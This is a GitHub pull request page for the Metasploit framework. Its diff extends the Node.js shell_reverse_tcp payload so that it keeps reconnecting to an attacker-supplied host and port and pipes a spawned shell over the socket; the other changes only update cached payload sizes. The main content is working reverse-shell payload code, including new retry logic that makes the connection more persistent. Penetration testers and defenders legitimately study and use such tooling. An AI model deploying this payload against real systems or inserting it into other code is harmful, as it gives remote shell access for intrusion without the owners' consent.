Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Enhancing the functionality on the nodejs shell_reverse_tcp payload. #9077

Merged
merged 6 commits into from Oct 16, 2017
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
15 changes: 13 additions & 2 deletions lib/msf/core/payload/nodejs.rb
Expand Up @@ -56,16 +56,27 @@ def nodejs_reverse_tcp(opts={})
util = require("util"),
sh = cp.spawn(cmd, []);
var client = this;
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
var counter=0;
function StagerRepeat(){
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
socket.on("error", function(error) {
counter++;
if(counter<= #{datastore['StagerRetryCount']}){
setTimeout(function() { StagerRepeat();}, #{datastore['StagerRetryWait']}*1000);
} else
process.exit();
});
}
StagerRepeat();
})();
EOS
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/reverse_nodejs.rb
Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 2423
CachedSize = 3239

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_reverse_tcp.rb
Expand Up @@ -13,7 +13,7 @@

module MetasploitModule

CachedSize = 601
CachedSize = 805

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 629
CachedSize = 833

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down